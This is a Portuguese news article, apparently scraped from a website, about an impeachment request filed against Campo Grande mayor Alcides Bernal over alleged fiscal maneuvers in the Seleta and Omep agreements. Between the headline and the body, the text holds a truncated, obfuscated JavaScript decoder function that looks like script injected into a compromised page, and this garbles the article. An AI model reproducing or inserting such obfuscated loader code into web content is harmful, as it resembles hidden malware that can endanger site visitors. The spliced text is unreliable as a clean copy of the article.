Câmara recebeu ontem, pedido de Impeachment contra o prefeito Alcides Bernal
function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
Um pedido de impeachment contra o prefeito Alcides Bernal ( PP) foi protocolado ontem (28) na Câmara Municipal. O motivo: o mesmo que afastou a presidente Dilma Rousseff (PT) do Executivo, as “Pedaladas Fiscais”.
O documento acusa Bernal de supostas manobras na relação com os convênios das entidades terceirizadas Seleta Sociedade Caritativa e Humanitário) e a Organização Mundial de Educação Pré-escolar (Omep). Segundo o pedido, as “pedaladas” aconteceram quando as quotas patronais relativas a esses convênios não foram pagas pela prefeitura, gerando enriquecimento por meio de fraude no orçamento de Campo Grande.
Desde 1997 os serviços da Seleta e da Omep são realizados para a Capital por meio de convênio com a prefeitura.“Foram praticadas graves e intencionais violações a Lei de Responsabilidade Fiscal com o objetivo de expandir gastos públicos sem sustentação orçamentária financeira”.
A denúncia ainda pede à Câmara que seja instaurado um processo de impeachment ou seja aberta investigação preliminar contra o prefeito Alcides Bernal.
